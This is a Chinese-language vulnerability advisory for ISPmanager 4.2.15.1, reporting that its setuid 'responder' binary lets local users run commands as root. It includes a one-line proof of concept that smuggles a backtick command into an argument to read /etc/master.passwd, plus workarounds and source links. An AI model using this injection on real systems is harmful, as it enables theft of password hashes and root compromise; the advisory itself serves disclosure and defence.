发布日期：2007-11-20
更新日期：2007-11-21

受影响系统：

ISPsystem ISPmanager 4.2.15.1

描述：

---

BUGTRAQ  ID: 26503

ISPmanager是托管服务供应商广泛使用的控制面板解决方案。

ISP Manager的usr/local/ispmgr/sbin/responder setuid二进制程序中在处理参数时存在输入验证错误，可能允许本地用户以root用户权限执行任意命令。

<*来源：Andrew Christensen （anc@fortconsult.net）
  
  链接：http://secunia.com/advisories/27585/
        http://www.fortconsult.net/images/pdf/advisories/ispmgr_nov2007.pdf
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/usr/local/ispmgr/sbin/responder /tmp/ '` cat /etc/master.passwd1>&2 `' 2>&1

建议：

---

临时解决方法：

# chmod u-s /usr/local/ispmgr/sbin/respondern
或者
# rm /usr/local/ispmgr/sbin/responder

厂商补丁：

ISPsystem
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://ispsystem.com/

浏览次数：2751
严重程度：0（网友投票）